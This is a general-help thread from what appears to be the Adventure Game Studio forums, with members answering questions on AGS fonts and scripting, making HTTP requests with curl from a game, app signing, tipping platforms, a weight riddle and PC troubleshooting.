https://github.com/adventuregamestudio/ags-template-source
Title: Re: Ask something - We can help.
Post by: Icey on Mon 07/05/2018 01:44:03
Yeah I meant to respond back and say I never mind but I was hoping for a site link for those fonts because I never noticed the high res font option until digging through the settings sometime last night. I wish AGS had like a native outlining option for fonts because I have a font that I wanna use for talking but it lacks an outline. I could have sworn there was a solution for this a while back but I'm not all too sure. Thanks tho, Crimson!
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Mon 07/05/2018 01:45:59
Quote from: icey games on Mon 07/05/2018 01:44:03
I wish AGS had like a native outlining option for fonts because I have a font that I wanna use for talking but it lacks an outline. I could have sworn there was a solution for this a while back but I'm not all too sure.

Hmm, AGS has automatic outlining option, if that's what you mean. You may choose it in font properties, it's called "Outline style".
Title: Re: Ask something - We can help.
Post by: Icey on Mon 07/05/2018 09:54:34
Quote from: Crimson Wizard on Mon 07/05/2018 01:45:59
Quote from: icey games on Mon 07/05/2018 01:44:03
I wish AGS had like a native outlining option for fonts because I have a font that I wanna use for talking but it lacks an outline. I could have sworn there was a solution for this a while back but I'm not all too sure.

Hmm, AGS has automatic outlining option, if that's what you mean. You may choose it in font properties, it's called "Outline style".

I KNEW THERE WAS AN OPTION FOR IT!
It's one of those things that I barely touched I guess. I gotta stop taking these extensive breaks from AGS because I constantly forget basic stuff like that. Thanks again.
Title: Re: Ask something - We can help.
Post by: Damien on Wed 11/07/2018 20:17:53
Hello,

I am looking for an old PC game

The main character is a spider, quite possibly a robotic variant.
There is a twist, you don't control the spider directly but manipulate it's surroundings. Pulling levers, operating doors, etc.

The game is in 3D, most likely for windows 95/98 and very low-poly if I recall correctly.

Thanks.
Title: Re: Ask something - We can help.
Post by: Click'd on Tue 17/07/2018 07:58:59
I am left-handed and my mouse buttons are switched. This works in most games and other programs no problem. Some developers decided to only register the standard settings, though. Which can get rather uncomfortable if a game needs lots of clicking.

Question: Does anyone know of a way to force these games to accept my settings?
Title: Re: Ask something - We can help.
Post by: Khris on Tue 17/07/2018 08:45:59
I'd get a custom mouse where the hardware buttons are switched. Or just open one up and do it yourself.
Title: Re: Ask something - We can help.
Post by: Babar on Tue 17/07/2018 08:53:13
Can't you just reconfigure the keybindings in the game's settings? Or is it one of those rubbish console ports that don't even have that option?
Title: Re: Ask something - We can help.
Post by: Click'd on Tue 17/07/2018 09:21:47
Quote from: Khris on Tue 17/07/2018 08:45:59
I'd get a custom mouse where the hardware buttons are switched. Or just open one up and do it yourself.
I had one, it broke.

Quote from: Babar on Tue 17/07/2018 08:53:13
Can't you just reconfigure the keybindings in the game's settings? Or is it one of those rubbish console ports that don't even have that option?
No, I can not. And no, not a console port.
Title: Re: Ask something - We can help.
Post by: Damien on Tue 17/07/2018 09:46:17
Could this registry tweak help:

http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/11394/ (http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/11394/)
Title: Re: Ask something - We can help.
Post by: Click'd on Tue 17/07/2018 10:20:39
I don't see any
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Tue 17/07/2018 14:30:26
you can see it if you quote it, but I don't get why it's not showing up. :-\

http://www. liutilities.com/products/registrybooster/tweaklibrary/tweaks/11394/

(I have added a space after the www. remove it to follow the link... oddly it doesn't show. Maybe this thread is protected againts posting urls? )
Title: Re: Ask something - We can help.
Post by: Click'd on Tue 17/07/2018 15:02:53
I looked up the registry and it already was set to 1. I guess the only solution is a change of hardware indeed.

Thanks for trying to help.
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 13/02/2019 08:34:16
We've just had a company-wide teachers' meeting day (aka “training”). Our boss told us that, at the end of each day, the CD players that we use should be unplugged (fair enough) and that the lids to the CD trays should be open? Why on earth would that be best practice? Let alone company policy? What about dust?

No one seemed to know why he was asking us to do this, least of all himself. Can anyone here enlighten me?

[edit] I told my wife and she had a brainwave. It could be that, by their thinking, if we make s point of leaving the tray open there is no chance that we'll accidentally leave a CD in there. Seems plausible, but I wonder if that's the real reason.
Title: Re: Ask something - We can help.
Post by: Mandarinas45 on Thu 14/02/2019 07:52:47
What do you guys think about Pre-Ordering games? I love the DMC franchise and I found a pre-order for just over $35 on https://www.eneba.com/steam-devil-may-cry-5-steam-key-europe but I have seen some people say that it's better to wait and see if a game is actually good. Should I or Shouldn't I?
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 14/02/2019 09:00:37
That's really up to you. If you've got the money to gamble then why not? Especially if it's cheaper than the actual release price will be. Personally I've never really been all that into preordering games.
Title: Re: Ask something - We can help.
Post by: Khris on Thu 14/02/2019 09:39:19
I never do it, and I would firmly advise against ever doing it.
Title: Re: Ask something - We can help.
Post by: Danvzare on Thu 14/02/2019 12:58:49
Quote from: Mandarinas45 on Thu 14/02/2019 07:52:47
What do you guys think about Pre-Ordering games?
My personal opinion, is why would you buy something that doesn't exist yet, when you can just buy it when it DOES exist?
I suppose I can kind of understand when there's bonuses involved, when there's a discount, or when there's a chance that they'll run out of stock.
But in video games, the preorder bonuses are terrible, preorder discounts are practically non-existent, and they're never at risk of running out of stock. So what's the point?

By preordering, all you're doing is funding a terrible business practice, where companies don't even have to finish or put effort into making games, because everyone has already bought them.

I remember someone who preordered Fallout 76. Now back then I thought it was going to end up being a good game. But I still thought he was an idiot to have preordered it! And now he regrets having done so.
So in short, no.
DON'T PREORDER!
DON'T BUY DLC!
DON'T PAY FOR MICROTRANSACTIONS!
DON'T BUY COLLECTOR EDITIONS!
If you do one or more of these things, you're helping promote bad business practices.  (nod)
After all, with how things are going, it won't be long until we get actual commercials that you have to sit through in AAA games. (I'm being serious here.)
Title: Re: Ask something - We can help.
Post by: Click'd on Thu 14/02/2019 13:11:24
Quote from: Danvzare on Thu 14/02/2019 12:58:49
DON'T BUY DLC!
U wot mate? If I like a game I want more of it.
Title: Re: Ask something - We can help.
Post by: Danvzare on Thu 14/02/2019 13:20:32
Quote from: C.L.I.C.K. on Thu 14/02/2019 13:11:24
Quote from: Danvzare on Thu 14/02/2019 12:58:49
DON'T BUY DLC!
U wot mate? If I like a game I want more of it.
If I like a game, I don't want content carved out and sold to me.
Sure not all DLC is carved out, but enough of it is that by buying DLC, you're promoting the practice.

Tira was carved out of Soul Calibur VI because of people like you constantly buying DLC!
Title: Re: Ask something - We can help.
Post by: Click'd on Thu 14/02/2019 14:27:11
Guess what, most DLC is NOT carved out.
Title: Re: Ask something - We can help.
Post by: Danvzare on Fri 15/02/2019 18:16:52
Quote from: C.L.I.C.K. on Thu 14/02/2019 14:27:11
Guess what, most DLC is NOT carved out.
Correct. A lot of content in games, wouldn't exist without DLC. A very good example I think, is the uncensored Ransome in Thimbleweed Park.
That being said, content is still carved out for some DLC. And if DLC wasn't popular, that content would never be carved out.
So in other words, I'm complaining about how other people have ruined my gaming experience by making DLC popular by buying it all the time. I'd like to reiterate my example of Tira in Soul Calibur VI.
That being said, I can completely understand if someone thinks that the extra content you can get from DLC outweighs any games that might carve out content for DLC. I'm just not one of those people.
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 01/07/2019 01:17:28
This isn't for me but for a friend. She wants help identifying an adventure game. I'll just post her words here:

“I don't know if it'll get a hit because I've been able to find every other game but here it is: It was a demo so I didn't even get to know what else happens, but there was one girl creature and one boy creature, they were in their house when the lights are cut and they are attacked. You have to go around the house with a match to find the items you need to unlock them from a chest. Once you do that the demo ends. So not very helpful. I think the girl creature had a minnie mouse esque skirt. I call them creatures because they weren't human but I can't remember if they were fictional designs or based off of animals.”

Any ideas?
Title: Re: Ask something - We can help.
Post by: LimpingFish on Sun 14/07/2019 02:07:54
Quote from: Click'd on Thu 14/02/2019 14:27:11
Guess what, most DLC is NOT carved out.

What is this assertion based on? Perhaps if you has said "some DLC", I wouldn't be posting this, but you didn't, so I am. :)

Quote from: Stupot on Mon 01/07/2019 01:17:28
This isn't for me but for a friend. She wants help identifying an adventure game.

Any idea of the period it's from?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 20/04/2020 10:21:54
Encoding issue.

So, I know that the .TRS of AGS are supposed to be ANSI. But somehow at some point I f***ed up and my file probably did a little trip to UTF-8 and back.
And now it's "corrupt".

Consider this as a riddle :

My file contains this sequence of characters (in hexadecimal ) :  EF BF BD and I know for a fact that it's supposed to be Ö (capital ö, decimal ascii : 214)

Can you :
- find an automated process to restore it properly to ANSI? (at the moment I cant figure out how to display it as Ö even by toying around with the encodings) (by automated, I mean fix an entire file with just a few clicks in Notepad++ or Visual Studio Code or whatnot)
- maybe guess what bad encoding/actions could have led to the faulty encoding? (so that I don't do it again). Did I do that by saving an ANSI file to UTF8?


=== EDIT ===

So apparently I have this issue : https://www.w3.org/International/questions/qa-utf8-bom.en.html
I'm still not sure what I did wrong, or how to fix it.


=== EDIT ===

I've given up and luckily found a backup.
On a general note I think the TRS files should now be UTF-8 from the start, and then throw an error message at translation-compile time if they contain a character that's too fancy.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 19/05/2020 18:35:30
I'm trying to get an HTTP response from a https page, using AGS (ags sockets plugin)
I don't really care bout the content, I just want an HTTP 200.

When I try with postman this is what it sends to the server :

Code (ags) Select

GET https://www.raidersofthesevencities.com/stats-startup.html

User-Agent: PostmanRuntime/7.24.1
Accept: */*
Host: www.raidersofthesevencities.com
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


Nothing fancy.

Here is how I try to replicate it :
Code (ags) Select

  String host = "www.raidersofthesevencities.com";
  String path = "/stats-startup.html";

  SockAddr *ip = SockAddr.CreateIP(host, 80); //Only 80 works, 443 doesn't return anything

  state.server = Socket.CreateTCP();
  state.connected = !state.server.Connect(ip);
  state.server.blocking = false;

  if (state.connected) {
    String completeTarget = String.Format("https://%s%s", host,  path); //  https://www.raidersofthesevencities.com/stats-startup.html
   
    String command = "";
   
    command = command.Append(String.Format("GET %s HTTP/1.1\r\n", completeTarget )); //I tried removing HTTP/1.1, I get "bad request"
    command = command.Append(String.Format("Host: %s\r\n", host));
    command = command.Append("Connection: keep-alive\r\n");
    command = command.Append("Accept: */*\r\n");
    command = command.Append("Accept-Encoding: gzip, deflate, br\r\n");
    command = command.Append("User-Agent: AGS (Windows NT 5.1; U; en)\r\n\r\n");
   
    state.server.Send(command);
  }


Yet when I try that, I get a "301 permanently moved". And the response contains :
Code (ags) Select
Location: https://www.raidersofthesevencities.com/stats-startup.html
As you know this is the server's subtle way of telling you that you're a silly goose and that you should have gone straight away to HTTPS instead of starting with HTTP. Except... I did start with https, with exactly that URL.

What am I missing?
Title: Re: Ask something - We can help.
Post by: Khris on Tue 19/05/2020 19:56:05
Curios that works, because it should be

Code (txt) Select
GET /stats-startup.html HTTP/1.1

You're using  SockAddr.CreateIP(host, 80);, and the server is probably removing protocol and host while parsing the request.

Anyway, the socket plugin has no built-in support for https, all it does is open connections. You would have to implement the entire ssl protocol yourself.
Title: Re: Ask something - We can help.
Post by: eri0o on Tue 19/05/2020 22:20:27
(if someone is feeling adventurous, you can implement AGS Script bindings and recreate the objects for a cpprest-sdk plug-in: https://github.com/microsoft/cpprestsdk )
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 20/05/2020 07:49:36
Quote from: Khris on Tue 19/05/2020 19:56:05
Anyway, the socket plugin has no built-in support for https, all it does is open connections. You would have to implement the entire ssl protocol yourself.

OK but before it sends encrypted stuff there has to be a way for me to simply get a "you hit the right page, thank you" answer, without any encryption-related code? I humbly confess I don't know enough.
Title: Re: Ask something - We can help.
Post by: Khris on Wed 20/05/2020 07:59:12
I don't think so, but no clue. Maybe the request appears in a log somewhere?
You can also write a small exe that'll make the request and call it from AGS via ags_shell.
Or use an http server that in turn makes the https request. ifttt?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 20/05/2020 08:12:50
Quote from: Khris on Wed 20/05/2020 07:59:12
ags_shell.
A few months ago I was trying to remember that plugin and couldn't find it. Thanks! I'll try. Maybe I can do everything through the shell, with Powershell commands. Will it pop up a shell terminal?
Title: Re: Ask something - We can help.
Post by: Khris on Wed 20/05/2020 08:30:31
Not sure, but you can use curl (https://curl.haxx.se/windows/) instead.

And here's the plugin: ags_shell (https://drive.google.com/file/d/11m1pqcCstspGYRFA2rxrifsB9R72YegV/view?usp=sharing)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 20/05/2020 10:24:50
Quote from: Khris on Wed 20/05/2020 08:30:31
Not sure, but you can use curl (https://curl.haxx.se/windows/) instead.

And here's the plugin: ags_shell (https://drive.google.com/file/d/11m1pqcCstspGYRFA2rxrifsB9R72YegV/view?usp=sharing)

It will be a better solution, because this causes the page to open in a browser, which I don't want :
Code (ags) Select

ShellExecute("open", "rundll32.exe", "url.dll,FileProtocolHandler http://www.google.com");
Title: Re: Ask something - We can help.
Post by: Khris on Wed 20/05/2020 10:46:57
You can use  ShellExecute("", "https://google.com", "");  instead, but that's beside the point.
Let me do some curl tests.

(Also, maybe a mod can split off the https messages and move them to the technical forum?)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 20/05/2020 10:52:17
Quote from: Khris on Wed 20/05/2020 10:46:57
(Also, maybe a mod can split off the https messages and move them to the technical forum?)

Nah, it's really not AGS, just me not understanding internet protocols.
If ShellExecute("", "http://google.com", "") works, I don't need more. Again, I don't need to parse the result, I just need the http server to know that someone hit that page.
Nope, that's no good. It does switch out from the game and open the page in a browser. I want to silently hit the page. I'll try curl.
Title: Re: Ask something - We can help.
Post by: Khris on Wed 20/05/2020 10:56:13
That call will still open the system's default browser, so not really what you need.
Also, this is about accessing an https server from AGS so pretty sure it falls under AGS technical questions.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 20/05/2020 12:45:05
So I've tried this and it seems to work on Windows 10, AGS 3.5.0.24 (aka "patch 2") using curl 32 bits :
Code (ags) Select

  ShellExecute("", "curl.exe", "\"https://www.raidersofthesevencities.com/stats-startup.html\"");


I've simple put all files from curl's "bin" folder into my AGS game's execution folder
Code (ags) Select

curl.exe
curl-ca-bundle.crt
libcurl.dll


Me happy.

I'm very happy that I can just download the binaries for Curl on other systems (MacOS) right off the website.
I'm less happy that I only have the sources to ags_shell (https://bitbucket.org/monkey0506/ags_shell/src/master/) and that I need to build them myself for MacOS or Linux. But, oh well. I can't really compain about that.

Title: Re: Ask something - We can help.
Post by: morganw on Wed 20/05/2020 16:00:58
It is probably worth noting that recent builds of Windows 10 come with a version of curl, and that AGS doesn't change the working directory when it starts, so potentially you may actually be running a separate copy and not the one which you have supplied. Also this shouldn't be confused with the curl alias in Powershell, which is a horrific attempt to map the symbol 'curl' to Powershell's web request functions (which are dependent on other system/IE components, which are potentially not operational).
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 22/05/2020 23:08:09
Quote from: morganw on Wed 20/05/2020 16:00:58
It is probably worth noting that recent builds of Windows 10 come with a version of curl, and that AGS doesn't change the working directory when it starts, so potentially you may actually be running a separate copy and not the one which you have supplied. Also this shouldn't be confused with the curl alias in Powershell, which is a horrific attempt to map the symbol 'curl' to Powershell's web request functions (which are dependent on other system/IE components, which are potentially not operational).

Is curl a standard program in Linux and/or MacOS? It would be cool if I didn't have to ship it with any of my game's ports.
Title: Re: Ask something - We can help.
Post by: morganw on Fri 22/05/2020 23:29:09
It used to come with macOS, but I'm not sure if it still does or it is safe to rely on on it always being there. For Linux it wouldn't be safe to rely on it being there and you will also need to ensure that the build you supply can run on slighly older systems (normally by building it on one), otherwise you end up with errors like this:

$ ./program
./program: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.27' not found (required by ./program)
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 23/05/2020 00:04:54
Quote from: Monsieur OUXX on Fri 22/05/2020 23:08:09
Is curl a standard program in Linux and/or MacOS? It would be cool if I didn't have to ship it with any of my game's ports.

Idk about macos, but on Linux you're supposed to know how to install any program yourself, so it's hard to tell what is "standard" program at all. But it is probably a "common" program.

It did not come with Ubuntu when I installed it on VM, but it was as easy to install as "sudo apt-get install curl".
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 27/05/2020 10:00:31
Quote from: Crimson Wizard on Sat 23/05/2020 00:04:54
It did not come with Ubuntu when I installed it on VM, but it was as easy to install as "sudo apt-get install curl".
Cool, thanks.

Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 27/05/2020 10:05:11
New question : Do you know of a free online code hosting platform that would let me build and sign my (Electron or anything else) app for MacOS?
My issue is currently that it's not too hard to build any project for its target platform on that platform. For example it's easy to build an app (Qt or Electron or whatever) for MacOS if you're already on MacOS. Since recently, it's also (quasi) impossible to build/sign an app for MacOS if you're on Windows (because of the signing mechanism of MacOS apps).

But I'm guessing there must be platforms online that have virtual machines and automated builds for other platforms? Something that runs build scripts for every platform every time you push your changes (or, as you call it, Continuous Integration). Something like Azure DevOps, except more humble and free.

Does that exist or is it a fantasy?
EDIT: Oh man, I'm going down the rabbit hole with this, fast-learning about MacStadium, Azure pipeline agents and all those strange beasts.
Title: Re: Ask something - We can help.
Post by: Khris on Wed 27/05/2020 10:34:40
For react-native there's Expo: https://docs.expo.io/distribution/app-signing/
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 27/05/2020 11:21:08
Quote from: Khris on Wed 27/05/2020 10:34:40
For react-native there's Expo: https://docs.expo.io/distribution/app-signing/

What a headache. Thanks!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 27/05/2020 15:01:53
I see that Expo is very focused on mobile apps (iOS and Android), which makes sense. But does it work on Desktop MacOS and does it build/sign for that target? I can't find it written explicitly. Or does only the binding with Electron (https://docs.expo.io/guides/using-electron/) make it possible?

EDIT : https://dev.to/evanbacon/making-desktop-apps-with-electron-react-native-and-expo-5e36
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 02/06/2020 19:12:38
Simple question : In the US, what's a popular platform for "tipping" a content creator? By tipping I mean giving a small amount of money with the least hassle possible. It's not crowdfunding, as in "there's a project to achieve and a funding threshold to reach". More like the kind of free donation form that you'd see when downloading some small games bundle or for charity. You click on a button and in one minute you've given 50 cents.

I was thinking of Tipeee but I think it's very Europe-centered and it requires the tipper to create an account. Patreon might be more US-centered, but again it requires the tipper to create an account.

Title: Re: Ask something - We can help.
Post by: Cassiebsg on Wed 03/06/2020 22:21:01
And how exactly do you think the tipper could tip without having to create an account anywhere?  (wtf)
Unless you thinking of adding your bank account number and let people directly transfer money to you (risky: not only you expose your bank account you also risk pay more in bank transfer than what you get as a tip).
Title: Re: Ask something - We can help.
Post by: kaizen101 on Thu 04/06/2020 04:37:09
Hi! If I may ask, is there any games made with AGS that have a RPG battle system? I think I saw one but I forgot  the name..  :-D
Thank you!
Title: Re: Ask something - We can help.
Post by: CaptainD on Thu 04/06/2020 08:16:24
Quote from: kaizen101 on Thu 04/06/2020 04:37:09
Hi! If I may ask, is there any games made with AGS that have a RPG battle system? I think I saw one but I forgot  the name..  :-D
Thank you!

This one maybe?
https://www.adventuregamestudio.co.uk/site/games/game/2349-tales-of-jayvin/
Title: Re: Ask something - We can help.
Post by: kaizen101 on Thu 04/06/2020 08:42:21
Thank you so much! Let me check this one, any other games like this made with AGS?
Title: Re: Ask something - We can help.
Post by: CaptainD on Thu 04/06/2020 08:57:29
I found these:

https://www.adventuregamestudio.co.uk/site/games/game/693-dangerous-lands-rpg-strategy-/


Mandle has made 2 RPG games for MAGS that I can remember:

https://www.adventuregamestudio.co.uk/site/games/game/2118-pickpocket-rpg/
https://www.adventuregamestudio.co.uk/site/games/game/2262-rat-playing-game/


There is this one if you speak French!
https://www.adventuregamestudio.co.uk/site/games/game/2358-harry-potter-rpg/
(The database contains an English version but the link is broken)

I'm pretty sure there are more but that should keep you busy for a while!  ;)
Title: Re: Ask something - We can help.
Post by: kaizen101 on Thu 04/06/2020 09:28:00
Thank you so much! To be honest I just want to check how other  game creator make there RPG battle system with AGS, if they do it the way most games are.
And because I'm also working on one which I may not be able to complete, or may take a while since I need to go back to work soon even if there is still COVID19.



Oh! Rabbit, it should be slime (I made a lot of changes).
Title: Re: Ask something - We can help.
Post by: CaptainD on Thu 04/06/2020 09:37:05
Ah okay.  Well all the best with your game either way, I think both of Mandle's games use a pretty simple system because they were created for MAGS so he didn't have much time to spend on creating anything complex, I'm not sure about the other two games.
Title: Re: Ask something - We can help.
Post by: kaizen101 on Thu 04/06/2020 09:41:01
Thank you so much! Have a great day!
Title: Re: Ask something - We can help.
Post by: Click'd on Thu 04/06/2020 10:16:46
Monsieur OUXX, how about ko-fi.com ? Goes through Paypal.

QuoteDo I need to have a Ko-fi Profile to support a creator?
It is possible to support a creator as a guest without creating an account on Ko-fi. If you see the "Log in or Sign up" message under the support button, you are not logged into Ko-fi and will be supporting as a guest. The creator will only see a name or message on Ko-fi if you include one in your donation. Choosing to support a creator without creating your own supporter account means you will not have access to any Supporter-Only post or Gallery images.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 04/06/2020 12:01:53
Quote from: Cassiebsg on Wed 03/06/2020 22:21:01
And how exactly do you think the tipper could tip without having to create an account anywhere?  (wtf)
I don't know, but I'm guessing there's a whole range of hassle and I was aiming for the least hassle. I live in Sweden and here they have a thing called Swish where the phone number of the recipient is enough to transfer money to them. Don't judge me, I'm a simple person who hates anything related to money.

Quote from: Click'd on Thu 04/06/2020 10:16:46
Monsieur OUXX, how about ko-fi.com ? Goes through Paypal.
I'll loo into it. Is Paypal really still popular in the US or is it behind the curve now? Asking as a European who has no clue.
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Thu 04/06/2020 20:25:54
In Danmark it's called MobilPay... but you still have to have an account at the bank and the MobilPay "app" connected to the bank account. I don't have it, since my phone is only half-smart...  (laugh)
Title: Re: Ask something - We can help.
Post by: Snarky on Thu 04/06/2020 20:32:32
The main US equivalent of Swish/MobilePay/Vipps is Venmo, but I don't believe it's as widespread as mobile payment is in Scandinavia.

PayPal certainly remains widely supported online (and they own Venmo).
Title: Re: Ask something - We can help.
Post by: RetroJay on Thu 02/07/2020 22:42:20
Hi, Peeps.

I have a question. Tonight I had a "riddle" in a game that said "This man weighs 100 pounds, plus half his weight. How much does he weigh?" Now I had three choices... 100, 150 and 200.
On the third attempt I got it right (200 pounds.) Slightly confused I searched for this riddle online and found that there is some kind of mathematical formula at work here.
In seeing the said formula it makes no sense to me whatsoever. Can someone please explain to me, in the simplest terms, how the hell this works? (laugh)
Title: Re: Ask something - We can help.
Post by: CaptainD on Thu 02/07/2020 23:06:07
The weight is 100 + "half HIS weight". 150 would be 100 + half of THAT weight, not the total weight. 200 is the answer because it is 100 + 100 (half of 200).
Title: Re: Ask something - We can help.
Post by: arj0n on Thu 02/07/2020 23:07:26
This man weighs 100 pounds, plus half his weight.
Means he weight half his weight, plus half his weight.
Means 100, plus 100.
Title: Re: Ask something - We can help.
Post by: heltenjon on Thu 02/07/2020 23:56:55
His weight = HW

HW=100 + HW/2
2HW=200+HW
HW=200
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 03/07/2020 03:04:03
It’s a trick of how you parse the question. You’re fooled into reading “he weighs 100 pounds” and then thinking you have to do the maths on that number. But nope, “he weighs 100 pounds plus half his weight” <â€"â€"- that IS his weight. Now you can do the maths.
Title: Re: Ask something - We can help.
Post by: RetroJay on Fri 03/07/2020 03:18:50
Oh my God!!

I feel so incredibly thick. (laugh)
I see it all now. Thank you for your help, and not making me feel like a total idiot... (That's how I feel.) :-[

I have always had this issue in my brain, where I OVER think. (roll)
Playing "KSP"... Plotting a course through space and landing just where I want to be, no problem. :-\
Well... Most of the time. (laugh)
Title: Re: Ask something - We can help.
Post by: Ben X on Fri 03/07/2020 10:11:34
I think the problem there is that the oxford comma is misleading. They should have structured it "he weighs 100 pounds plus half his weight", not "he weighs 100 pounds, plus half his weight".
Title: Re: Ask something - We can help.
Post by: heltenjon on Fri 03/07/2020 11:50:49
Quote from: Ben X on Fri 03/07/2020 10:11:34
I think the problem there is that the oxford comma is misleading. They should have structured it "he weighs 100 pounds plus half his weight", not "he weighs 100 pounds, plus half his weight".

Or "half his weight plus 100 pounds". But then it wouldn't be much of a riddle.
Title: Re: Ask something - We can help.
Post by: milkanannan on Fri 03/07/2020 18:04:56
Quote from: RetroJay on Fri 03/07/2020 03:18:50
Oh my God!!

I feel so incredibly thick. (laugh)
I see it all now. Thank you for your help, and not making me feel like a total idiot... (That's how I feel.) :-[

I have always had this issue in my brain, where I OVER think. (roll)
Playing "KSP"... Plotting a course through space and landing just where I want to be, no problem. :-\
Well... Most of the time. (laugh)

If it makes you feel better, I totally didn’t get it first few reads either.
Title: Re: Ask something - We can help.
Post by: RetroJay on Sat 04/07/2020 00:52:13
To be totally honest, milkanannan... I still don't get it.  (laugh)
I wrote that just to end the discussion, like when someone explains Nuclear Fusion, or shit like that... "Oh yeah. I understand."... And then you walk away. ???
What the hell... There are more things to worry about, than a riddle that makes no sense. ;)

Ben X and heltenjon.
Doesn't really matter how it's worded... It still doesn't make any sense. (laugh)

Let's just leave this one to the "Realms of WTF Riddles". (nod)

Always reminds me of those stupid questions, in school... (I am just being funny, here.)
if Bob has 3 oranges and Tim has 4 apples then what is the color of Bobs socks? (laugh)
Title: Re: Ask something - We can help.
Post by: heltenjon on Sat 04/07/2020 09:11:51
Quote from: RetroJay on Sat 04/07/2020 00:52:13
Always reminds me of those stupid questions, in school... (I am just being funny, here.)
if Bob has 3 oranges and Tim has 4 apples then what is the color of Bobs socks? (laugh)
Oranges grow in tropic climates, so he probably wears none!  (laugh)
Title: Re: Ask something - We can help.
Post by: Snarky on Sat 04/07/2020 09:39:14
Quote from: RetroJay on Sat 04/07/2020 00:52:13
To be totally honest, milkanannan... I still don't get it.  (laugh)
Doesn't really matter how it's worded... It still doesn't make any sense. (laugh)

Try this:
What the man weighs is his total weight, right? (Which is "100 pounds plus half his weight.")

And of course, his total weight is the same as half his weight plus half his weight (because two halves is the same as a whole):

  Weight = 0.5*Weight + 0.5*Weight

So if "100 pounds + half his weight" is the same as "half his weight + half his weight" (since they're both ways to add up his total weight), then we know that 100 pounds must be half his weight.

And if 100 pounds is half his weight, then it should be easy to see that his total weight is 200 pounds.
Title: Re: Ask something - We can help.
Post by: RetroJay on Sat 04/07/2020 17:15:07
heltenjon.
I like your interpretation of my mathematical problem. (laugh)

Snarky.
Thank you for your reply. I do believe I have finally got it. (nod)
Title: Re: Ask something - We can help.
Post by: Ali on Sat 04/07/2020 23:32:41
Now do the Monty Hall Problem!

Title: Re: Ask something - We can help.
Post by: Cassiebsg on Sat 04/07/2020 23:50:30
RetroJay, if in doubt just put any other value as the total weight, and you'll see that only 200 can be the answer.  ;)

You had 3 choices to pick from: 100, 150 and 200. And you now know the right answer is 200. Let's do the math for the other two, and you can do it for any other value if you still in doubt.

Let's say you choose 100. Half his weight would mean 100/2 = 50. Only 100+50=150... he can't have a total weight of 100.
Let's try 150 now... Half of his weight would be 75. 100+75 = 175. So his total weight can't be 150 either.

If you pick any other value, you will notice that you never get to a true value, except with 100 and total weight of 200.

But if it helps, I probably would have fallen for the trickery also and pick wrong. The riddle is phrased like that exactly to lead you into error thinking. Cause the first part makes your brain automatically think "he weights 100. And then add 50, that gives 150..." And even though this makes no sense (if he weights 100, he couldn't possibly also weight 150... but our brain accepts the first "fact" as true and thus gets stuck into figuring out the obvious.)
Title: Re: Ask something - We can help.
Post by: RetroJay on Wed 29/07/2020 18:05:21
Hi, Cassiebsg.
Sorry it's taken me so long to reply.
Thank you for your detailed explanation for the weight puzzle. I now totally understand.

I now have another question to ask the good peeps of AGS.
Today I decided to do a Full Scan with "Windows Security" (Windows 10).
After starting it reached about a minute and then my computer fans went in to overdrive.
So scared that my comp would fly out the window I canceled the scan and did a full scan with Malwarebytes. (No problems.)
Has anyone else, come across this problem?
I did read something dated back to 2018 where this problem seemed to be occurring but supposedly was cured.

Many Thanks.
Jay.
Title: Re: Ask something - We can help.
Post by: RetroJay on Sat 01/08/2020 04:45:34
Guess no one has had this problem, then?
Funny thing is... I am currently running a full scan on my HDD with no problems.
As soon as I run a full scan on my SSD then my computer tries to fly.  ???
Title: Re: Ask something - We can help.
Post by: morganw on Sat 01/08/2020 15:05:19
If it can read the data faster then the scanner is potentially doing more work in a shorter amount of time, which will generate more heat. To work out whether there is a problem you need to look at the temperatures when idle and when under load and how this relates to the fan speed. The virus scan in itself isn't a good load test, and the fans working at a high speed isn't necessarily a bad thing.
Title: Re: Ask something - We can help.
Post by: KyriakosCH on Sat 15/08/2020 18:18:11
(nm)
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 31/08/2020 05:06:15
Google’s not helping.

Any silent era actors who never spoken on film? Most of the famous ones eventually acted in ‘talkies’ but I want to know if there is a well-known example of a silent era actor who’s voice was never recorded for film.

It’s for a Twitter joke for which the moment will have long passed by the time an answer is found:

“Who would narrate your life story?“
Title: Re: Ask something - We can help.
Post by: Mandle on Mon 31/08/2020 05:56:38
Quote from: Stupot on Mon 31/08/2020 05:06:15
Google’s not helping.

Any silent era actors who never spoken on film? Most of the famous ones eventually acted in ‘talkies’ but I want to know if there is a well-known example of a silent era actor who’s voice was never recorded for film.

It’s for a Twitter joke for which the moment will have long passed by the time an answer is found:

“Who would narrate your life story?“

Why not just go with Harpo Marx?
Title: Re: Ask something - We can help.
Post by: heltenjon on Mon 31/08/2020 12:31:03
Quote from: Mandle on Mon 31/08/2020 05:56:38
Quote from: Stupot on Mon 31/08/2020 05:06:15
Google’s not helping.

Any silent era actors who never spoken on film? Most of the famous ones eventually acted in ‘talkies’ but I want to know if there is a well-known example of a silent era actor who’s voice was never recorded for film.

It’s for a Twitter joke for which the moment will have long passed by the time an answer is found:

“Who would narrate your life story?“

